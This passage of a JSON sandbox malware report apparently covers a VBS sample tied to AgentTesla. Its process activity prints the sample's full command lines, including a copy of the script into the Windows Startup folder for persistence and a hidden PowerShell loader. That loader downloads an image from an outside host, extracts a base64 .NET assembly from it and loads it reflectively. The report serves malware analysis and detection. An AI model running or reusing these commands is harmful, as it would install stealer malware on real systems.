00000000-00005228)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00008104)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00002120)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Command line contains long Base64-encoded string","description":"Commandline contains long base64 encoded string \"Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287.......\" in [Source : 00000000-00002120]","origin":"File/Memory","mitre_attack_id":"T1132","relevance":5,"id":"string-509","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_uybz3ogp.rwr.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_uybz3ogp.rwr.ps1]- [targetUID: 00000000-00005228]\n Dropped file: \"__PSScriptPolicyTest_perap0z0.fff.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_perap0z0.fff.ps1]- [targetUID: 00000000-00008104]\n Dropped file: \"__PSScriptPolicyTest_i4yia0ph.i3f.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_i4yia0ph.i3f.ps1]- [targetUID: 00000000-00002120]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$5c","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Checks network status using ping"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]}],"intel_graph":{"map":{"Domain:uploaddeimagens.com.br":{"type":"Domain","value":"uploaddeimagens.com.br"},"File:21e5a112682ec452ee89f6dfa8fb194c72b34b71bd50b57de2c59c0360dcc78c":{"type":"File","value":"21e5a112682ec452ee89f6dfa8fb194c72b34b71bd50b57de2c59c0360dcc78c"},"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623":{"type":"File","value":"60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},"File:c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6":{"type":"File","value":"c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6"},"File:d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904":{"type":"File","value":"d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904"},"Ip:172.67.215.45":{"type":"Ip","value":"172.67.215.45"}},"chains":[{"id":"sandbox_network","root":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","edges":[{"edge_kind":"contacted_ip","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"Ip:172.67.215.45"},{"edge_kind":"contacted_domain","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"Domain:uploaddeimagens.com.br"},{"edge_kind":"resolves_to","from_key":"Domain:uploaddeimagens.com.br","to_key":"Ip:172.67.215.45"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","edges":[{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:21e5a112682ec452ee89f6dfa8fb194c72b34b71bd50b57de2c59c0360dcc78c"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:21e5a112682ec452ee89f6dfa8fb194c72b34b71bd50b57de2c59c0360dcc78c"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:21e5a112682ec452ee89f6dfa8fb194c72b34b71bd50b57de2c59c0360dcc78c"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":7,"spawned_processes_count":7,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":40,"imported_dlls_count":165,"dropped_files_count":0,"extracted_files_count":14,"files_written_count":22,"files_deleted_count":0,"registry_keys_created_count":11,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":11,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Network Traffic","Extracted Files","Launch Failed","Multi-Process"],"sandbox_reports":[{"id":"6ac5a8c67ce570ddad0574a2","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":85,"malware_family":"VBS.Obfuse","submit_name":"AgentTesla.vbs","analysis_start_time":"2026-10-07T02:04:55+00:00","indicators_count":{"informative":152,"suspicious":35,"malicious":2},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true},{"id":"64db7f41958d4d99e30eee4b","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"YAV.Minerva","contacted_countries":["USA"],"submit_name":"EGK.vbs","analysis_start_time":"2023-08-15T13:36:02+00:00","indicators_count":{"informative":116,"suspicious":15,"malicious":2},"tags":["Network Traffic","Extracted Files","Launch Failed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.67.215.45","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]}],"dns_resolutions":[{"domain":"uploaddeimagens.com.br","address":"172.67.215.45","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}],"processes":[{"pid":3604,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\EGK.vbs\"","sha256":"9c8a1b52a638ca87a5e7e60e635a3cbf89b04f5888995f55e2ad3d94ab009b97","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00003604","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACC0lEQVR4Xu2Xy2rCQBSGfUMR3fkovoYIxiyrexe+gbhzIXhDxHbjtTbJQnM3pz0zpIknE5tJbFc98IOCM993MnMClkr/9V+kZrMZ7Pd7OJ1OcDgcMob/frvdwmg0gnK5DHTfzDWfzyEIAshTnucBrkeJarWaTwI3cByHbYgiQXCD2y0tPvh+FKz1eg2r1Qqm0ylUKhV5iXsBCozAFB4KvL29wm63Y98nkwnU63U5ibhAEpzsOorH1mD3m82GfdZ1HYbDIdRqtewSKGDbdqpAEszhocBisYBe7+UrPeh2u9Dv92EwGDxLgIIjOF5ATFjH45HJjMdjJkE5qSUWEJ95HBzFBdd17yZpuVwWEaDQZNdxeCjAg/sEcL1e8wpQsAzcYUEBwzBkBSz2CEXwx9AIjJOEwX0MQ5cTsCwqIOr6Z7jj2OxdUlBADh4J2M8QKAYPBfCFRDmpxQVMtlB00R6D7wXwMuMk6bomL4ALKVx0y+mZx+FcwJcXME0qkA+O01RQgINl4FzA+k4BAT/1zEXnTTuPC2haDgEcQQqO4LTjJBiD04RTpGkfRQSywJNgHtwnt8DjR57WNRcwv5NT4MoWpl20x/AnChSF5xLA/wWXy4WdP4dbRMBMBI8MpUVxXQ/O53c5gd8oykmtRqMBrVYLVLUDnQ6PooSflbsoCqYtTLvNo6oqNJvN7AJ/XZ+m0rg3oaUMLwAAAABJRU5ErkJggg=="},{"pid":3244,"ppid":3604,"name":"cmd.exe","command_line":"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')\"","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00003604","uid":"00000000-00003244"},{"pid":3684,"ppid":3244,"name":"PING.EXE","command_line":"ping 127.0.0.1 -n 5","sha256":"14262982a64551fde126339b22b993b6e4aed520e53dd882e67d887b6b66f942","normalized_path":"%WINDIR%\\system32\\PING.EXE","parent_uid":"00000000-00003244","uid":"00000000-00003684"},{"pid":1976,"ppid":3244,"name":"cmd.exe","command_line":"/c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')\"","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003244","uid":"00000000-00001976"},{"pid":2396,"ppid":1976,"name":"powershell.exe","command_line":"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001976","uid":"00000000-00002396"},{"pid":3724,"ppid":3604,"name":"powershell.exe","command_line":"$5d","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003604","uid":"00000000-00003724"},{"pid":2752,"ppid":3724,"name":"powershell.exe","command_line":"-windowstyle hidden -executionpolicy bypss -NoProfile -command \"$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.90tre/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)\"","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003724","uid":"00000000-00002752"}],"all_imported_dlls":["IPHLPAPI.DLL","msvcr80.dll","setupapi.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","shfolder.dll","msasn1.dll","System.Configuration.Install.ni.dll","winhttp.dll","webio.dll","devobj.dll","Microsoft.PowerShell.Commands.Management.ni.dll","rasman.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","ieframe.dll","userenv.dll","bcrypt.dll","mscorlib.ni.dll","System.Core.ni.dll","Microsoft.PowerShell.Security.ni.dll","System.Xml.ni.dll","dhcpcsvc.dll","shell32.dll","winnsi.dll","dhcpcsvc6.dll","diasymreader.dll","user32.dll","normaliz.dll","sspicli.dll","sechost.dll","crypt32.dll","WSHTCPIP.DLL","mscorwks.dll","System.Transactions.dll","comctl32.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","KernelBase.dll","cryptbase.dll","dwmapi.dll","atl.dll","System.Data.ni.dll","SensApi.dll","mscoreei.dll","System.Management.ni.dll","security.dll","api-ms-win-downlevel-version-l1-1-0.dll","vbscript.dll","rsaenh.dll","shdocvw.dll","mscorrc.dll","wuaueng.dll","api-ms-win-downlevel-user32-l1-1-0.dll","clbcatq.dll","wintrust.dll","System.Management.Automation.ni.dll","ncrypt.dll","bcryptprimitives.dll","VxSSL64.dll","propsys.dll","mswsock.dll","schannel.dll","gpapi.dll","cabinet.dll","ntdll.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","uxtheme.dll","usp10.dll","profapi.dll","mscoree.dll","gdi32.dll","System.Configuration.ni.dll","fltLib.dll","ole32.dll","wshext.dll","scrrun.dll","winbrand.dll","linkinfo.dll","slc.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","rpcss.dll","sxs.dll","psapi.dll","advapi32.dll","msctf.dll","iertutil.dll","scrobj.dll","System.ni.dll","rpcrt4.dll","lpk.dll","comdlg32.dll","shlwapi.dll","cryptsp.dll","cscapi.dll","Microsoft.WSMan.Management.ni.dll","fveui.dll","dnsapi.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","nsi.dll","msisip.dll","FWPUCLNT.DLL","devrtl.dll","oleaut32.dll","srvcli.dll","System.DirectoryServices.ni.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","rasapi32.dll","imm32.dll","secur32.dll","cfgmgr32.dll","QAGENTRT.DLL","kernel32.dll","ntshrui.dll","credssp.dll","cryptnet.dll","urlmon.dll","wininet.dll","rtutils.dll","mlang.dll","mscorjit.dll","apphelp.dll","ntmarta.dll","rasadhlp.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","System.Transactions.ni.dll","tzres.dll","netutils.dll","wship6.dll","System.Data.dll","api-ms-win-core-synch-l1-2-0.dll","msvcrt.dll","version.dll","ws2_32.dll","mpr.dll","BCP47Langs.dll","pwrshsip.dll","win32u.dll","msvcp140.dll","AppResolver.dll","combase.dll","amsi.dll","edputil.dll","GKK6Ivmb.dll","wldp.dll","ucrtbase_clr0400.dll","ucrtbase.dll","vcruntime140.dll","MpClient.dll","kernel.appcore.dll","vcruntime140_1_clr0400.dll","WinTypes.dll","virtdisk.dll","Windows.StateRepositoryPS.dll","clr.dll","Microsoft.Management.Infrastructure.ni.dll","gdi32full.dll","OneCoreUAPCommonProxyStub.dll","SHCore.dll","OnDemandConnRouteHelper.dll","windows.storage.dll","vcruntime140_1.dll","MpOAV.dll","prxyqry.dll","msvcp_win.dll","vcruntime140_clr0400.dll","clrjit.dll","AppxSip.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"GGw.vbs","sha256":"60c6242057a2ed2a102be819922a807139becf6b1cda2fa9eeed873fc6320623","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"Tar8E77.tmp","sha256":"c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"VR7V0BTQ38W0RIS2AOFU.temp","sha256":"21e5a112682ec452ee89f6dfa8fb194c72b34b71bd50b57de2c59c0360dcc78c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"Cab8E67.tmp","sha256":"d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"W5QMSBYDTM2JFXSMFHV2.temp","sha256":"21e5a112682ec452ee89f6dfa8fb194c72b34b71bd50b57de2c59c0360dcc78c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"ZK2DQA241HPPG99LKDYM.temp","sha256":"21e5a112682ec452ee89f6dfa8fb194c72b34b71bd50b57de2c59c0360dcc78c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"__PSScriptPolicyTest_i4yia0ph.i3f.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"__PSScriptPolicyTest_perap0z0.fff.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"__PSScriptPolicyTest_uybz3ogp.rwr.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"__PSScriptPolicyTest_asd5is0v.ewj.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"__PSScriptPolicyTest_dpw1kakd.yss.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"__PSScriptPolicyTest_iyh1tfba.ks5.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]}],"files_written":[{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_uybz3ogp.rwr.ps1","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_dpw1kakd.yss.psm1","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_perap0z0.fff.ps1","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_iyh1tfba.ks5.psm1","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_i4yia0ph.i3f.ps1","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_asd5is0v.ewj.psm1","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASMANCS\\","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"key":"HKCUHKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\","sources":[{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"},{"report_type":"sandbox","report_id":"6ac5a8c67ce570ddad0574a2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"64db7f41958d4d99e30eee4b"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr 